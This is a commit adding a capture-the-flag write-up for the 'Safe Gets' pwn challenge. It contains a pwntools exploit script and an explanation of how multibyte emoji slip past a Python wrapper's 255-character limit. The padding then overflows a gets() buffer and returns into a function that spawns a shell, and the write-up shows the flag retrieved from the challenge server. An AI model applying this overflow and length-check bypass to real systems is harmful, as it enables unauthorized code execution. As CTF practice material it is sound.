Adds l3ak ctf 2025
This commit is contained in:
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
BIN
content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip
Normal file
Binary file not shown.
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
53
content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py
Executable file
@@ -0,0 +1,53 @@
|
||||
#!/usr/bin/python3
|
||||
from pwn import *
|
||||
|
||||
# Allows you to switch between local/GDB/remote from terminal
|
||||
def start(argv=[], *a, **kw):
|
||||
if args.GDB: # Set GDBscript below
|
||||
exe = local_exe
|
||||
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
|
||||
elif args.REMOTE: # ('server', 'port')
|
||||
return remote(sys.argv[1], sys.argv[2], *a, **kw)
|
||||
elif args.SSH:
|
||||
exe = remote_exe
|
||||
s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
|
||||
return s.process([exe] + argv)
|
||||
else: # Run locally
|
||||
exe = local_exe
|
||||
return process([exe] + argv, *a, **kw)
|
||||
|
||||
|
||||
# Specify your GDB script here for debugging
|
||||
gdbscript = '''
|
||||
break main
|
||||
break *main+202
|
||||
'''.format(**locals())
|
||||
|
||||
|
||||
# USE ./filename otherwise gdb will not work
|
||||
local_exe = './chall'
|
||||
remote_exe = 'REMOTE'
|
||||
# This will automatically get context arch, bits, os etc
|
||||
elf = context.binary = ELF(local_exe, checksec=False)
|
||||
# Change logging level to help with debugging (error/warning/info/debug)
|
||||
#context.log_level = 'debug'
|
||||
context.log_level = 'info'
|
||||
|
||||
# ===========================================================
|
||||
# EXPLOIT GOES HERE
|
||||
# ===========================================================
|
||||
|
||||
io = start()
|
||||
|
||||
payload = flat(
|
||||
b"A"*74,
|
||||
b"\x00",
|
||||
"😄".encode("utf-8")*50,
|
||||
b"A"*5,
|
||||
pack((elf.symbols.win)+5)
|
||||
)
|
||||
write("payload", payload)
|
||||
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||
|
||||
# Receive the flag
|
||||
io.interactive()
|
||||
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
@@ -0,0 +1,103 @@
|
||||
+++
|
||||
date = '2025-07-14T09:16:19+02:00'
|
||||
draft = false
|
||||
title = 'Safe Gets'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
description: I think I found a way to make gets safe.
|
||||
Author: White
|
||||
|
||||
We are given a program and a python wrapper around it.
|
||||
|
||||
## Main program
|
||||
|
||||
Let's start with the program after a quick pass through ghidra
|
||||
```C
|
||||
int main(void)
|
||||
{
|
||||
size_t input_len;
|
||||
char buffer [259];
|
||||
char local_15;
|
||||
int input_len_2;
|
||||
ulong i;
|
||||
|
||||
gets(buffer);
|
||||
input_len = strlen(buffer);
|
||||
input_len_2 = (int)input_len;
|
||||
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
|
||||
local_15 = buffer[(long)(input_len_2 + -1) - i];
|
||||
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
|
||||
buffer[i] = local_15;
|
||||
}
|
||||
puts("Reversed string:");
|
||||
puts(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void win(void)
|
||||
{
|
||||
system("/bin/sh");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
|
||||
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
|
||||
```
|
||||
[*] 'l3ak_ctf/pwn/safe_gets/chall'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
SHSTK: Enabled
|
||||
IBT: Enabled
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
## Python wrapper
|
||||
|
||||
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
|
||||
```python
|
||||
BINARY = "./chall"
|
||||
MAX_LEN = 0xff
|
||||
|
||||
# Get input from user
|
||||
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
|
||||
if len(payload) > MAX_LEN:
|
||||
print("[-] Input too long!")
|
||||
sys.exit(1)
|
||||
```
|
||||
|
||||
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
|
||||
|
||||
## Solve
|
||||
|
||||
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
|
||||
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
|
||||
|
||||
Here is my solve script (the interesting part).
|
||||
```python
|
||||
io = start()
|
||||
payload = flat(
|
||||
b"A"*74,
|
||||
b"\x00",
|
||||
"😄".encode("utf-8")*50,
|
||||
b"A"*5,
|
||||
pack((elf.symbols.win)+5)
|
||||
)
|
||||
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||
io.interactive()
|
||||
```
|
||||
And when running it we get the flag.
|
||||
```
|
||||
>>> ./exploit.py REMOTE 34.45.81.67 16002
|
||||
[+] Opening connection to 34.45.81.67 on port 16002: Done
|
||||
[*] Switching to interactive mode
|
||||
$ cat flag.txt
|
||||
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
|
||||
[*] Interrupted
|
||||
[*] Closed connection to 34.45.81.67 port 16002
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user